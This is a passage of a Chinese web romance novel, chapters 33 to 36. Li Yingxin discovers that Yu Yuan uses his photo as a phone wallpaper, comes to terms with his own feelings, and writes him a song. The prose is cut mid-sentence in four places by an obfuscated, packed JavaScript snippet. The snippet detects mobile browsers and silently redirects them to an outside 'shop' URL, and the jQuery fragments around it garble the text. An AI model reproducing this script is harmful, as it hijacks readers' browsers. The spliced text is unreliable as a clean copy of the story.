他也跟着人潮走到拿手机的地方,观众们一时还没有马上散去,三三两两聚在一起,有的在讨论刚刚的表演,也有相同属性的在交换联系方式。 李萤心拿到手机以后径直往外走,开了机,先无视群里陈悦说谁能发个现场视频给他看看的哀号,他知道俞沅还有后采之类的收尾工作,给他留了言说自己先打车回去收行李。 他明天一早就要飞走,这场演出的时间卡得非常极限。 交代完自己的去向,李萤心又在想自己这留言是不是有点冷漠了,不能光在心里觉得人家好,觉得人家好就该说出来,鼓励是很重要的。 于是他模仿着超话里面别人吹彩虹屁的样子,编辑了一段掺着很多emoji的文案发给俞沅。 李萤心:俞沅,海中的塞壬,九重天上的紧那罗,舞台上掌管唱歌的神明,你一开口结冰的湖全化成水,海水倒流回源头,麦当劳穷鬼套餐降价回12元。 …… 俞沅是隔了有段时间才回复李萤心信息的,针对李萤心那段吹捧,俞沅只回了六个句号和一个疑问。 俞沅:别的都好说,麦当劳穷鬼套餐降价怎么夹在这里面? 李萤心一边玩手机一边慢悠悠地收拾东西,看见俞沅的信息,干脆坐下来回复:想不出比喻了。 李萤心:反正意思是今天表现得特别好。 俞沅:谢谢哥。 俞沅:我现在没什么事了,我过去找你。 俞沅:吃过饭了吗? 李萤心:没呢。 李萤心还在打字,俞沅又一个对话气泡弹上来:有什么想吃的吗?我带你去吃?麦当劳穷鬼套餐除外。 李萤心打完的一句话也几乎同时发了出去:但是正准备叫外卖,感觉出去吃有点麻烦。 李萤心又补充:怎么看不起麦当劳穷鬼套餐。 俞沅:最近都比较迷信,吃点富哥套餐感觉运气会比较好吧…… 俞沅:那也帮我点个外卖,你吃什么我吃什么[可爱] 李萤心:okk 二十分钟后俞沅到了李萤心住的酒店。来的时候李萤心只背了一把琴和几件换洗衣物,准备回去的时候多了一堆东西——来上海虽然主要是办正事,可他后来还是抽空去看了一个唱片展,去livehouse随机听了两场演出,一场的表演者是他不认识的乐队,另一场是不认识的说唱歌手。 还去了水族馆,去了世界上最快乐的地方,买了一大堆小玩意,有些准备带回去当手信送人,有些准备自己留着。 李萤心甚至是自己一个人偷偷去的,俞沅录完歌之后还有很多工作要做,李萤心没好意思要人家跟他一起闲逛,结果事后被俞沅知道了,俞沅一顿不满。 现下俞沅就坐在李萤心面前看他收拾这些周边,李萤心本来还想着俞沅来了之后他们可以一起复盘一下早上的表演,但见他嘴角有些往下撇,第一优先的事还是先宽慰他:“下次有机会了再一起去嘛。” 俞沅说:“不是为这。” 李萤心:“那怎么了呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037333|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 俞沅:“在想把我塞进行李箱的可行性。” 李萤心愣了一会儿,旋即才反应过来,伸手去揉俞沅的脑袋,为了表演戴的长发早就摘下了,但他自己的头发被假发套压了一上午有点塌,俞沅急着过来也没再重新做做造型,李萤心现在一上手,俞沅的头发更是乱得无以复加。 在以前摸头是李萤心常对俞沅做的动作,人见到可爱的生物就想要摸摸……李萤心见到俞沅就常常涌出这样的心理。不过重逢以后他很少再这样做,应该说是几乎不这样做了,俞沅和以前不大一样了,不好再把他当小孩一样一顿揉搓的。 可是现在他们又要说再见了。即便这个再见是字面意义上的再见,他们都知道一定会再相见,却也不妨碍彼此心中生出一些不舍来。 李萤心在那堆迪士尼买回来的周边里翻翻找找,拿出一对尼克和朱迪的对讲机,把长着朱迪的兔耳朵那只塞给俞沅,用带笑的口吻说:“想我的话就在对讲机里喊我。” “为什么我是兔子?”俞沅说着摆弄了一下这对讲机玩具,按下通话键,“喂喂,我是俞沅,收到请回复。” 带一点失真的声音同时传到李萤心手中那只狐狸耳朵对讲机里,李萤心也按下通话键,看着俞沅,但对着对讲机说话:“我是李萤心,收到请讲。” 俞沅还是拿着对讲机说话:“这不会是哥本来要送给别人的,为了哄我才临时给我的吧。” 李萤心:“才不是。” 俞沅:“还有别的吗?” 李萤心十分大方:“你还要什么,自己挑。” 俞沅把对讲机放下了,看了一会儿李萤心,再看了一眼他摊开的行李箱:“先欠着我吧。” 李萤心:“好。” 李萤心的手机响了,他接起来听,是外卖小哥说外卖已经送到酒店前台等一下会有人送上来,电话一挂,门铃就响了。 俞沅说他出去拿。 俞沅的对讲机、车钥匙还有手机一起放在桌上,刚巧有信息推送进来,俞沅的屏幕亮了亮,李萤心也是无意间一瞥,看见了他的屏保壁纸。 壁纸上是一个金色及肩长发,但因低着头而看不清容貌的男生,低着头是因为此人抱着一把芬达暗夜蓝,正在看弦,他手指按在弦上,手腕上还套着之前换下来的琴弦做成的手环。 场景应该是在某个演出现场后台,而且壁纸上的主角没发现自己被照了像。 之所以李萤心知道得那么清楚,是因为这张壁纸上的人就是他自己。 屏幕暗了下去。 俞沅很快拿完外卖进来了,见李萤心的视线似乎落在他手机上,走过来不动声色地把手机倒扣住,又问:“点的什么外卖?” 李萤心感觉现在像测试音箱时,不小心把贝斯声开大了,低频声音过高把其他乐器和人声全都包裹住了,他听不见俞沅在说什么,茫然了一会儿后机械地点头:“啊,对。” 俞沅:“……?” 33.第三十三章 俞沅把他的照片设为屏保,究竟是什么意思? 以前的人会挑选一张相片或其他薄薄一片的物件放在钱包里,比如思念之人的照片,一张有特殊意义的车票,或者一张平安符,因为钱包是随身携带之物,把重要的纸片放进钱包的夹层,就像时刻带着一份牵挂。 随着时代变迁,现在人不离身之物几乎已经被手机所取代,而手机屏保也在一定程度上承担了存放人的念想的功能。 除却那些纯粹觉得图片好看才将其设为壁纸的人,许多人的壁纸都是有意义的,比如有人会把喜欢的偶像明星或者角色设为屏保,有人会放一张求好运的壁纸,有的人会用自拍,有人会放家人或爱人的照片——朋友如果出现在屏保里,大概率都是合照。 谁会单独放一张朋友的照片做壁纸?也许真的有人会这么做……但俞沅肯定不是这样。 何况就算李萤心只匆匆扫了一眼刚才亮起的手机屏幕,也看得出那是张构图和画质都不怎么样的图,搞不好还是视频截图。 对,视频截图……李萤心开始用力回想,模模糊糊好像记起俞沅也有过举着手机在远远的地方给大家录vlog的时候,作为他的视频素材,所有人都会被他拍进去,但最终他也没有发出什么成品,李萤心也不会特意去记得俞沅拍视频这样的举动。 如果是专门拍他一个,他可能还会留下些印象,但俞沅想将所有人的影像都留下来,李萤心根本不会觉得有什么奇怪,他们每个人都会这样拍来拍去。 就算俞沅后来翻出这些影像反复看,李萤心也不会觉得奇怪,因为李萤心自己偶尔也会这么做。 可是俞沅翻出这些影像来,在其中截取一帧,放大,设做屏保,就不再是合常理的事。 连带他最开始录像的动机都变得可疑。 李萤心从来不是笨蛋。 刚把外卖饭盒放下的俞沅看李萤心在走神,抬手在他眼前挥了挥。 李萤心回过神来了吗?也没有。他咧开一个自以为阳光灿烂的笑,样子看起来怎么都有点惺惺作态,他接过其中一个饭盒:“噢噢,点的蟹肉面。” 不知道一顿饭怎么吃完的,吃完之后俞沅还在他酒店里待着,提出明早送李萤心去机场。李萤心连忙拒绝,讲自己已经约好了车。 其实根本没有这回事,但李萤心大脑正在极度混乱之中,至少此刻他还没想好怎么和俞沅自然地相处,也不知道该怎么直面俞沅的目光。 可看见俞沅耷下的嘴角又于心不忍,李萤心以各种理由找补,一下说怕影响俞沅工作,一下说万一在机场被人拍了也麻烦。 李萤心把话都说到这个份上了,俞沅也没什么办法。 只是在要离开酒店的时候,俞沅站在门边迟迟没有开门出去,李萤心问他:“怎么了?” 俞沅转身面对着李萤心,李萤心没有看他,视线落在旁边的墙上。 但用余光,李萤心看见俞沅胸膛明显地起伏了一下,应该是吸了一口气,下了什么决心似的,俞沅说:“抱一下可以吗?” 李萤心:“……好。” 俞沅先伸出了手,将李萤心抱住。 还是很熟悉的清清淡淡的木质香,不是贴得这样近的话闻不到,他小心翼翼的呼吸声,不是贴得这样近的话也听不到。 他的心意,不是靠得这样近的话,李萤心也很难知道。 沉默许久,最后俞沅只是说:“保持联系。” 李萤心回抱了他,轻轻拍他的背,在心里对他说,你让我再想想。 嘴上也说:“嗯,保持联系。” - 这一想,近二十天又过去了。 开学前后的这两周是班主任最忙的一段时间,李萤心回到鲤州以后连那种从幻梦回到现实的落差感还来不及酝酿,就投入到了接连不断的工作中,开会,制定学年计划,排新的值日表座位表,发完各种通知以后被各个家长问来问去,正式开学,搞收心教育开学第一课,备课,恢复正常教学秩序,还要抽时间练琴……这一套组合拳下来,李萤心根本无暇关心自己的私事。 当然也不至于二十四小时全被填满,空下来他也会断断续续思考他和俞沅之间的关系。还好是临走前才发现,不然李萤心不知道天天面对俞沅,他脑子还能不能保持清醒……虽然现在也没多清醒。 识于微时,相互扶持,李萤心从不怀疑他和俞沅是爱着彼此的,只是他一直认为这样的爱并非排他性的爱,也绝非狭义上的爱情,他爱俞沅,也爱别的朋友。 即便他一直知道俞沅在他心里的地位是特殊的,可这也正常不过,从幼儿园认识小朋友开始,他就会在心里给朋友按亲密度分三六九等,这个是我最要好的朋友,那个也很要好但差一点点。 他以为俞沅对他亦然如此。 一旦接受了俞沅喜欢他这个设定再往回望,不管是当年他身后的小主唱还是后来轻易能让千万人欢呼的俞沅,望向他时眼里总有些难以察觉的眷恋。 可是……什么时候开始的呢?俞沅对他产生了爱情。 ……当然也有可能是李萤心自作多情,那就闹很大笑话了。 不过不管俞沅对他到底是什么情感,李萤心想要想明白的是,他对俞沅又有没有生出一些超乎友谊的爱。其他的他倒不是很在意……比方说什么性别啊俞沅是个大明星之类的。 性取向,李萤心没有确认过,不过他觉得自己应该不排斥同性,而且他认识的各种性恋的人多了去了,以前去音乐节,还有主唱唱嗨了在台上和其他同性乐手舌吻的,虽然感觉很狂野,但李萤心多少也有一点理解。 说实在的,在一些灵魂共鸣的时刻,他也会很想用亲密的肢体动作表达他的情绪,毕竟灵魂是很难真正交融的,人却可以拥抱在一起,这时候心的距离也会变得更近……但那是爱情吗? 歌手谈恋爱也没什么,又不是贩卖梦想的偶像,何况两个男的谈恋爱太方便了啊,天天一起进出都不会被写成花边新闻。 家人更不是阻碍,尽管这样说有点地狱笑话,但他们俩都约等于孤儿。 当然前提是他要想明白,他对俞沅到底什么想法。 很遗憾想不太明白。 活了二十八年,青春期别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044683|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人情窦初开的年纪他一头扎进音乐的世界,错过了感受酸酸甜甜的初恋季节,到了这个年纪要是谈恋爱,只能叫老树开花了。也不知道是天然对恋爱不感兴趣还是如何,孑然走到了适婚年龄,虽然没人催婚,但高低是个有编制的适龄青年才俊,同事间想给他介绍对象的也不是没有,只是李萤心通通婉拒,总感觉这种“到了年龄就找个人结婚”的事怎么都只能算是搭伙过日子而跟爱情无关吧…… 至于生理需求,更是靠手就能简单解决的事,也不是非得谈恋爱。 所以喜欢一个人是什么感觉? 前些天有个班的班主任抓了两个早恋的小孩,说是胆大包天趁着午休在教室里盖着校服外套趴桌子上亲亲,老师训斥的声音响彻办公室,李萤心假装认真写教案,写了十分钟还没写到第二行,耳朵一直支着偷听。 学校抓早恋除了功利性的怕影响成绩,也怕孩子们在三观未成形的年纪被“爱情”冲昏头脑做出一些伤害自己伤害他人的事,但除去这些,李萤心其实认为青春年少谈谈恋爱是挺美好的一件事,他班上也有谈恋爱的,因为一直没舞到他面前也没做什么出格的事,李萤心一概装不知道。 李萤心听见那个同事怒极,说:“你们这个年纪懂什么是爱情吗!你们倒是说说喜欢对方什么!” 李萤心倒是不太赞同这位老师的话,但并不好驳人家的面子,影响别人的工作,何况他自己也不知道爱情是什么。 他还没真的抓过早恋的情侣,但他想如果他抓了,也不会否认人家不懂爱情,大人也不一定懂,说不定十几岁的青春少年在最纯真的年代萌发出来的喜欢才是爱情最原始的模样。 然后他听到被抓的那对情侣中的男生非常硬气地说:“喜欢一个人要什么理由!就是想和她在一起啊!” 好抽象的答案啊,李萤心摸了摸耳朵,叹了口气,决定还是好好写教案。 也许这种事情,每个人的答案都是不同的。 恰逢俞沅这张迷你专辑终于正式发布了。李萤心是一直关注着俞沅和这张专辑的动态的,首演舞台前天已经播了,上了好几个热搜,李萤心粗略看了一下网上的评价,基本是好评如潮。 三首歌一起发音源的这天,李萤心刚好忙得不可开交,有个学生和校外人士打架,家长都过来了。音源是中午十二点发布的,晚上十点多他还没听上,等终于下了班看手机,李萤心首先看到俞沅委委屈屈的信息躺在聊天框里。 12:03 俞沅:新歌发啦。 俞沅:[分享音乐]×3 15:37 俞沅:[兔子揉脸表情] 19:08 俞沅:哥今天很忙吗0.0 21:19 俞沅:[盯] 22:04 俞沅:哥还好吗…… 感觉再不回信息这人就要报警了,李萤心赶紧敲了几个字回他。 李萤心:今天很忙,不好意思,我这就来听。 俞沅可能一直捧着手机,很快回了他。 俞沅:吃饭了吗? 34.第三十四章 实际上李萤心今天挺郁闷,学生因为周末时在外面和其他学校的人抢球场闹矛盾,对方不知怎么混进三中要争一口气,都是血气方刚的青少年,一言不合矛盾升级就打起来了,导火索其实真不是什么原则性大问题。 学生倒是没缺胳膊少腿,但他被家长和领导轮着骂了一圈,被说你怎么管学生的怎么没做好学生情绪问题的疏导工作时,他特别想反问一句谁来给我疏导下?最后还是窝窝囊囊忍住了。 饭是真的没吃,下午饭点时外校学生的家长也来了,几个人在年级主任办公室扯皮半天,吵得下一秒就要派出所见。这晚他连晚自习都没去,好不容易调解完了也已经想不起来吃东西这件事了,气都气饱了。 看见俞沅这句问话,李萤心又心软下来了,很不礼貌地联想到自己像养了什么电子宠物,被晾了一天急得不行,但联系上他之后第一反应还是关心他有没有因为忙忘了吃饭。 其实按他的性格,他应该会回俞沅一句“吃了”,可不知怎的,也许是人在脆弱时总是很容易被渗透,于是他也没答这个问题,只是先发了个表情包。 俞沅又问他是不是工作上遇到了什么烦心事,李萤心觉得事情都很鸡毛蒜皮,说出来无法对方无法解决的事他一向是懒得说的,说了只是多一个人添堵,让小沅担心他没吃饭已经是他ooc……可是如果对方是俞沅,他又有点愿意让俞沅跟他一起烦。 也不是很大的事,比这更糟糕的情况他也处理过不少,而且谁上班不烦?但倾诉欲上来了,他开始吐槽不省心的学生,莫名其妙的家长,不知他们基层老师疾苦的领导,吐槽完了补上一句,还好自己已经提了辞职了。 俞沅问:我能为你做些什么吗? 李萤心:我还没吃呢,小沅给我点个外卖。 俞沅问:开玩笑还是真的? 李萤心:真的,你点什么我吃什么。 俞沅:外卖送过去会有点久,我先点着,你看看冰箱里有没有什么能先垫垫。 李萤心:好。 半个小时后李萤心在公寓里吃上了俞沅给他点的砂锅粥,他盘腿坐在客厅地板上,抵着沙发,一边喝粥,勺子舀了一大颗虾仁就着熬得绵烂的粥送进嘴里,胃暖和起来心也被抚平了。他点开俞沅刚刚分享的几首歌的正式版本,懒得戴耳机了就这么外放出来随意听听。 首先点开的是俞沅写一半他编一半的那首歌,歌名叫《逆水行舟日记》,词全是俞沅写的。 感谢现代科技,在他想听见俞沅的时候,远隔千里也能让俞沅的声音就在他耳畔响起。 “船在今夜离港 我还不太习惯 一个人远航 今夜我躺在甲板 风把云都吹散 在陆地上时 我们也这样躺在草地上 你看星星 我看着你” …… 舒缓的旋律配上同样温柔的器乐声,伴奏中的月琴声也像倾泻到海面的月光。 一阵阵的潮水打到他心上。 “今日我还在船上 日光照耀海浪 我摇摇晃晃 看见海豚从蔚蓝里跃起 说给你听的话 你会很羡慕吧 羡慕的话 快回到我身旁 和我一起看 喂喂 我对着海螺说话 你能听得到吗? ” 第一次听到俞沅哼唱这首歌时它还未成形,第一次收到俞沅发来的歌词时李萤心虽然也惊异于两人的脑电波竟然能对上,可也还是没去揣测在海上传信之人,到底想把心声传达到谁那里,后来在录制和混音时听了一遍又一遍,李萤心压根没有再去想过这首歌……到底什么意思。 直到此刻,偏偏此刻。 海水自他心口开始涨潮,差点要涌到眼里时,他使劲眯了眯眼,潮水退了。 李萤心一只手还捏着勺子,另一手缓慢地打字,聊天框里俞沅问他粥味道还行吗他看评价盲点的,李萤心没答他,引用了白天俞沅分享的音乐卡片。 李萤心:对着海螺说的话,是说给谁的? 李萤心:给我吗? 发完就有点后悔了,问这做什么,自己又还没想清楚,而且万一不是自己想的那样呢?要不撤回吧。唉算了发都发了。 他再一次播放这首歌,在音乐软件里点击单曲循环,然后把手机倒扣上,慢慢地将一碗粥喝完,一边进食一边想,爱情究竟是什么,爱情究竟是什么,想着想着忽然发现这个问题本来就很傻逼。 他是不知道爱情是什么形状,可如果面对一个他没有对其产生爱情的人,他根本就不会开始思考这个问题。 他会清清楚楚地知道自己对对方没有爱情。 在他不知道的时候,在他未曾觉察的时候,也许他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068508|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就已经在爱着俞沅了,不是朋友之爱……就在今天这件很小的事情里,就在听着俞沅的歌声时,他后知后觉地想明白了。 他对所有人的爱——学生也好,朋友也好——是他愿意去拥抱对方。这个拥抱不一定是指一个具体的拥抱,是指他愿意去关心爱护对方,但反过来,他其实不是那种很愿意被别人拥抱的人。 小到烦了累了自己调理就好了,大到有未竟的梦想那就埋了吧,唧唧歪歪的心事自己想想就好,实在不太想在别人面前主动透露。 俞沅总是看穿他,来拥抱他。 但不是谁都有看穿他和拥抱他的权利,是因为在很久以前,他的心就给俞沅留了门,俞沅才有机会看见他的喜悦和烦闷。 是他愿意让俞沅来抱他。 每个人的爱情不一样,这就是他的爱情。 这首歌播了一遍又一遍,再它即将循环第七遍的时候,李萤心把手机翻过来,看见俞沅已经回复了他。 俞沅:嗯。 李萤心:方便打电话吗? 下一秒电话就进来了,李萤心接起,俞沅没有说话,李萤心似乎能听见他深深吸气的声音。 李萤心说:“你对着海螺说话,现在我听到了。” 俞沅:“专门打电话告诉我这个吗?” 李萤心把外卖盒子收拾了,塞进垃圾桶,把垃圾袋绑好,准备拿出去扔。手上提着垃圾一边往门口走,他一边说:“这个很重要啊。” 俞沅缓了一会儿才给他反应:“……好。” 李萤心:“那我挂了。” 俞沅:“……嗯,早点休息。” 李萤心:“晚安小沅。” 挂了电话,李萤心走到楼梯间把垃圾一扔,忽然不太想回头走那两步路回屋了,他想出去,想去排练室了。 从理性的角度说,他明天还要上班,这么晚了应该躺床上准备睡了。 可他现在实在太不理性了,就像喝了酒一样整个人轻飘飘的,他找了很多借口——比如明天两节连堂是作文课,他也不用讲什么东西,比如转瞬即逝的灵感不可错过——促成他一鼓作气下楼,取车,去排练室。 他想写一首歌。 他其实是在这一刻特别想见到俞沅。 见不到的话,至少他想把他此刻——有生以来第一次摘下名为“爱情”的果实时被爆了一手汁液那种感觉——完整地保留下来,再让他听见。 35.第三十五章 李萤心做歌时虽然也不排斥用合成器,但更偏爱真实的器乐声,但今夜他拧了一晚上合成器,分轨里的所有声音都遥远又迷幻,失真的电吉他声像在一个空旷绿地里回荡,除了鼓声还用的是更偏向真鼓的采样而非鼓机以外,其他器乐的声波基本已经被他剪裁得听不出原本的模样。 他做了一首很典型的Dream Pop风格的歌,微醺、朦胧、模糊,就像现在的他的心情。 编曲编到最后,李萤心伸了个懒腰,扭头一看,排练室里留给他做歌的那个小隔间窗子里升起了遥遥的一轮红日,太阳的边缘似熔金,把灰白的天幕染成一片橘粉。 这颗太阳也像正流淌着汁液的浆果。 李萤心没有站起身走到窗边去,只是向着窗……或者说太阳的方向伸出手,左眼眯起来,做了个把太阳捏住的动作。 看了一下手机,早上五点多,李萤心不情不愿把工程文件保存了,双手拍了拍脸,试图让自己清醒一点。 不是物理意义上的清醒,虽然通宵了,但因为精神始终处在高度集中的亢奋状态里,他现在一点都不困,并且按照经验,他还可以将这种通宵过后的清明状态维持到中午左右。 他想让自己清醒点,是想从飘渺的音乐世界和让人眩晕的恋爱心情里走出来。 得先把班上了。 赶回公寓拾掇完自己,铁打一样的李老师看完了早读,上完了第一二节连堂,之后甚至还处理了些杂事,被领导又叨叨了一遍昨天的事,他一边像个自动答话机一样“嗯嗯您说得对我还要再加强学生管理这方面……”一边在脑子里放歌,给刚刚做的歌加上歌词。 不过下午他没再继续做他那歌了,回去公寓以后把想到的一些东西,比如还要调整的地方或者歌词的关键词之类的记下来之后决定睡觉,还有学生交上来的作文没改,晚自习的时候再努力一下。 当然他睡前没忘了给俞沅留言。 李萤心:今天有点困,下午补一下眠,没回复的话别担心。 打完这行字,李萤心往上翻了翻他和俞沅的聊天。 真神奇啊,原来天天聊的都是些这么无聊的东西,俞沅说自己今天去拍杂志对方给的饭盒很难吃,李萤心给他发学生做的阅读理解搞笑答案,俞沅给他发路过遇到的开了花的栾树,李萤心也拍了天边一朵像猫猫头的云回赠。 翻着翻着眼皮开始打架,李萤心把手机放好,一觉无梦,直到被闹钟叫醒。 醒来后看见俞沅乖乖的“嗯”字在聊天框里。 李萤心:醒了,去搬砖。 隔了一会儿,俞沅回:记得吃饭。 李萤心:你也是。 …… 过了两天到周末,李萤心终于有大段的空闲把之前那歌继续做了。 第一步是录音,不是录器乐,而是录人声。因为水平太过有限,他平时基本上不唱歌,但这首他写的旋律很简单,而且准备混得听不清原声,自己唱唱也无妨。 还有一个小小的理由,他有点想把这首歌整首做完再给俞沅听,既然要完整,又有想唱的词,那就由他自己来。 因为这并非为俞沅正式专辑添砖加瓦写的新歌,也不是乐队贝斯手给乐队写的歌,仅是作为李萤心这个人,想记录下来的心情。 他戴上耳机,在令人头晕目眩的梦幻的伴奏声中,闭上眼开始唱。 不管是歌词还是旋律,都非常简单易上口,旋律也偏流行,这是这一类歌的特色,同时也是李萤心想表达的,不用复杂精致的riff,不需要过度解读,俞沅如果确实确定地爱他,只要一听就会明白的。 毕竟很少自己唱,遑论录音,李萤心录完听着自己的声音从耳机里流出来还是有种莫名的羞耻,总之不断混,把声音当泥巴一样捏来搓去,最后做成了模糊的、像梦境中的声音一样的效果。 周六晚上九点,成品做出来了。 文件导出以后又听了几遍,李萤心托着腮,一手在桌上敲着无意义的节奏,到了这个时候,他又开始迟疑了。 发不发呢? 鼠标移到了一个音符形状的文件上,李萤心拖住它,即将挪到微信对话框里又松开了手。 要不先让陈悦听听此歌能不能入耳?啊不行。 要是俞沅很笨听不懂呢? 要是他真的自作多情呢? 怎么紧张起来了啊! 其实也没关系吧,就算有一些会错意的可能……他好歹算半个文字工作者,颠倒一点是非来点春秋笔法的能力也是有的……他又没有很直白地在歌里写什么暧昧的话……到时候就说为挚友写首歌有什么的…… 不过也不会有这种可能吧。 可是就算笃定地知道俞沅的缀满果实的树枝会垂向他,也还是会不安啊。 李萤心就这么拖着这个文件在屏幕上玩起了给这首歌位移的小游戏,内心戏汹涌澎湃导致他感觉大脑过载,浑身都有点隐隐发热。 他还在持续摁着鼠标胡思乱想,突然手边的手机一振,来电铃声响起,把沉浸于做思想斗争的他吓一个激灵。 于是手一滑,文件发出去了。 好的吧。 李萤心深呼吸,看了一眼来电显示,学生家长打来的。 又看一眼对话框,俞沅还没回复,也没提示对方正在输入中……要撤回还来得及,撤不撤? 顽强的来电铃声还在呼唤李萤心把电话接起,李萤心想了想,发都发了,本来歌写出来就是让人听的。 他滑动屏幕接电话,其实直接坐在这里接听就行,但他不知道俞沅的回复什么时候会进来,也不知道俞沅会跟他说什么,万一正跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085481|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家长说着说着,看见俞沅的信息他脑袋宕机了工作开展不下去了怎么办? 于是他起身,走出这个隔间。 - 俞沅是没有周末的,什么时候有工作就什么时候去做,但李萤心有,周末闲暇时俞沅大概率能收到李萤心发来多一些闲聊。但这个周末李萤心有些沉默。 这一段时间,从李萤心离开上海开始算起……他隐隐感到李萤心和他的距离好像又远了些,好不容易重新修复的关系岌岌可危。 有时他又觉得自己多想,毕竟李萤心的工作是很忙的……时而又感觉不是多想,那天,那天李萤心应该是看到了他的屏保了。 他这二十多天每天反复思考几个问题:李萤心到底看到他的屏保了没?如果看到了,他什么意思,若即若离的态度是在提醒他不要越界吗?还关心他和他像是正常聊天也是想和他保持好友的关系?但或许其实人家根本没看到呢? 想着想着又开始恨自己不够谨慎……他没法控制自己的心意破土而出日益繁茂,但至少他希望自己只要默默做一棵能为对方降下一片荫凉的树,而不是一棵挡人路让人困扰的树。 还有……前些天那通电话,说听见了他对海螺说的话,又是什么意思? 上一条对话停留在好几个小时前,俞沅今晚其实没有别的工作,在住的地方瘫在沙发上看纪录片,看了两集回来重新看手机,李萤心再不主动找他了。 也没事的……至少大家以后还要一起做歌,多的是在一块的机会。 想着做歌的事,对话框里就弹出来一个音乐文件。 文件名是“Berry(to俞沅)”……原来是在写歌吗?之前都没说一声。 他一个鲤鱼打挺从沙发上弹起来,匆匆跑回工作间,把文件传到电脑上,戴上耳机。 听见最开始夸张的失真吉他声还颇为惊讶,李萤心从来没写过这样的歌……不过水晶就是这样,总是有很多想尝试的新东西。 很迷幻很软绵的风格,听着像喝酒一样,俞沅接着往下听,在前奏结束之后,听见同样做了低保真处理的模糊的……李萤心的声音。 “你的树 枝繁叶茂了 长出琥珀的心 缀在枝头 压弯了树枝的浆果 砸中过路的我 被施过魔法的浆果 砸中我的心口 我咬破一口浆果 世界就旋转起来了 梦里萤火铺就的河流 流到手心了 我咬破一口浆果 酸甜汁液浸透了我 我的魂灵发酵成果酒 你让我变成我” 俞沅屏着呼吸听到这里,不知道是音乐风格如此还是他憋气憋傻了,他此刻也感到世界开始旋转了。 36.第三十六章 俞沅喜欢李萤心很久了,从十八岁到现在,整整七年。 具体是从哪个时刻开始的,他无法说清,但他是经过很认真的思考,才确信自己对李萤心是喜欢而不是别的错觉。 偶尔他也会想自己对李萤心说不定是一见钟情,就在他第一次被那双亮晶晶的眼注视的时候。 在此之前,从未有过这样的目光落在他身上。 生母憎他不能赢来多一点父亲的关照,被接回父亲身边后也是日日煎熬,明明那也是他亲爸的家,但他在那个家里活得像寄生虫,倒不是有怨言……只是很孤独。在家里习惯了低着头,在学校里也保持着同样的姿态,不去看他人的脸,就不会看见人们眼里那些怜悯。 ——其实那个时候他遇到的人大多对他很友善,在家里不愁吃穿,在学校里运气很好没遇到过什么校园霸凌,说惨也真的不惨,只是在青春期长了一颗玲珑心,对所有评价和视线都很敏感。 总能从对他好的大人那里听到一些翻来覆去的车轱辘话,比如“怪可怜的,虽然他妈当小三但孩子毕竟是无辜的……唉可是谁让他妈做这种事,他可怜原配更可怜”云云,话完全没错,让他不断加深自己不好像应该出生的想法。 学校的老师同学不清楚他的事,也常常有向他释放善意的,俞沅也知道一些缘由,无非就是老师会跟其他班干部说“他不太合群有点内向,你们搞集体活动多带带他,别让他感觉被孤立了”……他也很感念,有什么叫上他去凑热闹的事他是不会拒绝的。 李萤心是他遇到的第一个纯粹觉得他好,不吝赞美他,不是路过他给他递一些富余的善意,而是专门盯着他,对他“有所求”的人。 那时候他虽然不相信自己真能给李萤心什么,可是他喜欢这种被需要的感觉。 后来他又想,这也不能算一见钟情,如果只是因为被珍视的目光看过,就轻易爱上一个人,那这个人换成谁都可以,不一定非得是李萤心。 起初他愿意待在李萤心身边,大概是想抓住这种被需要的感觉。他在一边悄悄围观李萤心和李萤心的生活:李萤心是和他截然不同的人,永远精力充沛,专业课学得很好,玩乐队也玩得很用心,才华横溢,从不空口谈理想,想到什么就去做什么,不只要自己做,也喜欢让别人也去做自己。 他渐渐发现,除去满足一己私欲,他喜欢待在李萤心身边,也因为他欣赏李萤心本身。 以前俞沅问过李萤心为什么给自己起“水晶”这个名字,李萤心说只是小时候起网名时不知道叫什么,手上正好戴着一串水晶,就这么叫了。但俞沅莫名联想到了魔法水晶球,人们可以通过凝视水晶球看到真实的自己,他觉得李萤心也有这样的魔力。 